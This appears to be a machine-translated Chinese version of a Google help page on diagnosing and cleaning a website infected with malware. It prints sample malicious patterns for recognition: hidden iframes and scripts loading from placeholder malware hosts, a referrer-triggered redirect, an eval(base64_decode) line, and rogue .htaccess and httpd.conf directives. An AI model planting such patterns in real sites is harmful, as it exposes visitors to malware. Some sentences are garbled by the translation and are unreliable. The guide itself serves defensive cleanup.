遭到恶意软件入侵

恶意软件是指专门用于危害 计算机、移动设备、应用上运行的软件或其用户。 要详细了解什么是恶意软件,请参阅恶意软件和垃圾软件

如果您的网站包含恶意软件,用户通常会看到该警告 搜索结果或网页中显示的“此网站可能会损害您的计算机” 用户尝试访问您的 网页时,浏览器显示的插页 如下所示:

<ph type="x-smartling-placeholder">
</ph> 代表性恶意软件插页
带有恶意软件警告的搜索结果。

您需要具备以下条件:

  • 拥有网站服务器(Web、数据库、 和文件。
  • 了解 shell 或终端命令。
  • 能够对数据库运行 SQL 查询。

准备工作

  • 注册 Search Console 并按照该处的说明验证对被黑网站的所有权。 Search Console 会提供受影响网页的样本,方便您查找和 从而更轻松地解决遭到恶意软件入侵的问题此外,您还会收到 。
  • 查看 Google 安全浏览诊断页面 查看有关网站是否可能损害用户的公开信息。 您可以通过如下网址查看您的网页或网站的商家信息状态: https://transparencyreport.google.com/safe-browsing/search?url=***&lt;&lt;page_or_site>>***。例如: https://transparencyreport.google.com/safe-browsing/search?url=webmastercentralblog.blogspot.com

    <<page_or_site>> 可以是特定网页网址 (http://example.com/badpage) 或 您的整个网站 (example.com)。

  • 避免使用浏览器查看您网站上的网页。因为恶意软件经常会 通过利用浏览器漏洞进行传播 网页可能会损坏您的计算机。除诊断说明外, 例如使用 cURL 或 使用 Wget 执行 HTTP 请求 (例如,抓取页面)。

    这些免费提供的工具有助于诊断重定向, 能够添加引荐来源网址或用户代理信息。包括 特定引荐来源网址或用户代理有助于模仿黑客行为, 黑客可能只会向具有特定 通过用户代理或引荐来源网址定位更多“真实用户”并避免 和恶意软件扫描程序的检测结果。

`curl -v --referer "http://www.google.com" <your-url>`

下面是一个同时指定了用户代理和引荐来源网址的示例:

`curl -v --referer "https://www.google.com" --user-agent "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FSL 7.0.7.01001)" http://www.example.com/page.html`

我们建议抓取网页,无论网页是否显示 --referer "https://www.google.com",因为某些恶意软件仅激活 当用户来自 Google 搜索结果时触发。

  • 创建一个文档,用来记录此步骤中发现的内容。该文件将 最终至少包含每个受损文件的名称和位置 并说明其感染方式 清理并维护您的网站

  • 观看本页前面的视频,了解恶意软件的工作原理以及如何 请在恶意软件调查期间确保安全

诊断

确定是哪种恶意软件在影响您的网站:

  1. 打开“安全问题”报告 。 展开恶意软件警告说明,查看受影响网页的示例列表。 请注意,此列表仅列出了部分情况。那么您可能就无法获得 所有类型的恶意软件
  2. 测试您的示例网页是否存在以下类型的恶意软件。

服务器配置恶意软件(多余的重定向)

黑客已经入侵了您的网站,并将访问者从您的网站 黑客可能会通过修改您服务器的 配置文件。服务器配置文件通常允许网站 管理员可以为网站上的特定网页或目录指定网址重定向, 网站。例如,在 Apache 服务器上,该文件为 .htaccess 文件以及 httpd.conf

诊断

访问“安全问题”报告中显示的一些示例网址。回答 从受到“服务器配置”感染的网页感染可能包括 以下标头:

&lt; HTTP/1.1 301 Moved Permanently
&lt; Date: Sun, 24 Feb 2013 21:06:45 GMT
&lt; Server: Apache
&lt; Location: http://&lt;<strong>_malware-attack-site_</strong>&gt;/index.html
&lt; Content-Length: 253

确定受影响的文件

通过 Shell 或终端访问来登录您的服务器(网站可以离线 查看相关的服务器配置文件。可能还有更多 而不是一个已遭黑客入侵的服务器配置文件检查这些文件: 指令,例如重定向到未知网站。例如,在 .htaccess 文件后,您可能会看到如下所示的重定向:

RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.*
**RewriteRule ^third-page.html($|/) http://&lt;<em><strong>_malware-site_</strong></em>&gt;/index.html** [R=301]

SQL 注入

黑客入侵了您网站的数据库。例如,黑客可能 以编程方式将恶意代码插入数据库的每条记录中 这样当服务器加载的网页需要来自 那么恶意代码现在就已嵌入在网页内容中, 危害网站访问者。

诊断

  1. 在命令行中对受影响的网址运行一些查询,并检查 对“iframe”等 SQL 攻击字词的响应或“eval”。
  2. 登录数据库服务器或通过如下工具查看数据库: phpMyAdmin.如果 尝试通过 Wget 或 c网址 找到受损网页的来源 与实际的数据库条目通过 Wget 或 c网址 结合使用。例如,如果 您注意到自己的网页包含危险的 iframe,可以执行 SQL 搜索 iframe 代码的查询。例如:

    SELECT * FROM blog_posts WHERE post_text LIKE '%&gt;iframe%';
    
  3. 您可能还需要检查服务器上的数据库日志和错误文件 异常活动,例如对于用户来说看起来不正常的 SQL 命令, 常规用户或错误。

解决问题

请更新每条受感染的数据库记录,或恢复您最近一次的已知数据库 备份。

代码注入

您网站上的网页已被修改为包含恶意代码,例如使用 iframe 恶意软件攻击性网站

诊断

使用 c网址 或 获取并检查是否存在可疑代码。注入的代码可以有多种类型 可能很难找到搜索“iframe”等字词可能会有帮助查找 iframe 代码。其他实用的关键字还包括“script”、“eval”和“unescape”。对于 例如,在所有文件中搜索“iframe”在基于 Unix 的系统上:

$grep -irn "iframe" ./ | less</pre>

以下是一些需要注意的常见恶意软件模式。

会加载恶意网站的 iframe:

&lt;iframe frameborder="0" height="0" src="http://&lt;<strong><em>_malware-site_</em></strong>&gt;/path/file"
  style="display:none" width="0"&gt;&lt;/iframe&gt;

JavaScript 或其他脚本语言(可从 攻击性网站:

&lt;script type='text/javascript' src='http://&lt;<em><strong>_malware-site_</strong></em>&gt;/js/x55.js'&gt;&lt;/script&gt;

会将浏览器重定向到攻击性网站的脚本:

&lt;script&gt;
  if (document.referrer.match(/google\.com/)) {
    window.location("http://&lt;<em><strong>_malware-site_</strong></em>&gt;/");
  }
&lt;/script&gt;

试图躲避检测的迷惑性恶意代码:

eval(base64_decode("aWYoZnVuaauUl+hasdqetiDi2iOwlOHTgs+slgsfUNlsgasdf"));

旨在随机将有害代码写入其他无害的共享对象文件 脚本:

#httpd.conf modified by the hacker
LoadModule harmful_module modules/mod_harmful.so
AddModule mod_harmful.c

恶意错误模板

用于错误消息(例如“404 未找到文件”)的模板已配置 来传播恶意软件通过这种方式,攻击者可以针对 根本不存在

诊断

请求访问您网站上不存在的网页,或者会抛出其他类型的 并检查响应,看看它是否来自另一网站或 否则包含恶意软件。

解决问题

登录您的网络服务器并搜索服务器配置文件中是否存在错误 网页指令。例如,Apache 网络服务器的错误模板可以是 在 .htaccess 文件中声明。下面是一个 .htaccess 文件条目示例, 从恶意网站检索 404 错误页面:

ErrorDocument 404 http://&lt;<span class="red-text"><em><strong>_malware-site_</strong></em></span>&gt;/index.html

准备好清理网站后,您可以替换 .htaccess 文件 删除服务器上不需要的 ErrorDocument 指令, 现有 .htaccess 个文件。如果遇到以下情况,请务必清理实际错误文件 在您的网站上展示。最后,重启网络服务器 更改生效。

从被侵或恶意网站加载的资源 {compromised-resources}

您的网站使用的内容或资源来自已知包含以下内容的网站: 恶意内容。这些文件可能是 JavaScript 文件、图片或其他文件。 因此,您的网站将被标记为存在从其他来源加载的 网站。

诊断

访问“安全问题”报告中显示的一些示例网址。

解决问题

  1. 要确认问题,您可以浏览 Search Console 中的“安全问题”报告。您应该会看到浏览器警告。
  2. 浏览器警告会告诉您可疑内容的网域。 移除对浏览器警告中列出的已标记网站的所有引用。 如果来自已标记网站的内容在您不知情的情况下被加入了, 更严重的问题。您的网站很可能已经遭到入侵, 应继续检查您的网站是否存在其他黑客手段和漏洞。
  3. 如果您故意添加来自合法网站的内容, 而您想在遭到举报的网站被举报后重新包含相应内容, 您可以使用 Google 安全浏览诊断页面 针对该网站 (http://www.google.com/safebrowsing/diagnostic?site=www.example.com){:.external}。 合法网站的所有者通常很快就会清理这类网站。

进一步调查

接下来,检查您的系统上是否存在任何其他恶意文件或变更。通过 黑客可能篡改了已经完全创建的网页或数据库记录 新的垃圾网页、在干净的网页上显示垃圾内容的编写函数,或者 “后门”或重新注入 移除的恶意代码

如果您的网站处于在线状态,请考虑将其设为离线状态以进行此调查。

如果您的网站有已知的完好备份,请确定 或对它们进行调查在基于 Unix 您可以使用以下命令查找新文件:

diff -qr <current-directory> <backup-directory>

例如:

diff -qr www/ backups/full-backup-20120124/

另外:

md5sum <current-page> <backup-page>

例如:

md5sum www/page.html backups/full-backup-20120124/page.html

检查服务器、访问日志和错误日志中是否存在可疑活动,例如 失败的登录尝试、命令历史记录(尤其是以 root 身份执行的命令)以及 未知的用户账号。请注意,黑客可能篡改了这些日志 自己的目的。本视频中提供了一些示例 找出漏洞

检查配置文件中是否存在重定向。您的配置文件 通常命名为 .htaccesshttpd.conf。黑客往往 基于用户代理、时间或引荐来源网址进行重定向。如果您需要 更新配置文件时,您可能需要重启服务器 以使更改生效。

检查是否存在过于宽松的文件夹权限和文件权限。黑客篡改数据 因为如果网站所有者仍未检测到宽松的权限 这样黑客就能再次入侵该网站文件大于 644 (rw-r--r--) 以及大于 755 (rwxr-xr-x) 的文件夹可能会导致安全 问题。确保所有较宽松的权限均确有必要。已开启 基于 Unix 的系统,请尝试:

find <your-dir> -type d -not -perm 755 -exec ls -ld {} \;

和:

find <your-dir> -type f -not -perm 644 -exec ls -la {} \;

如果您有数据库,请使用如下工具逐条调查数据库记录: phpMyAdmin.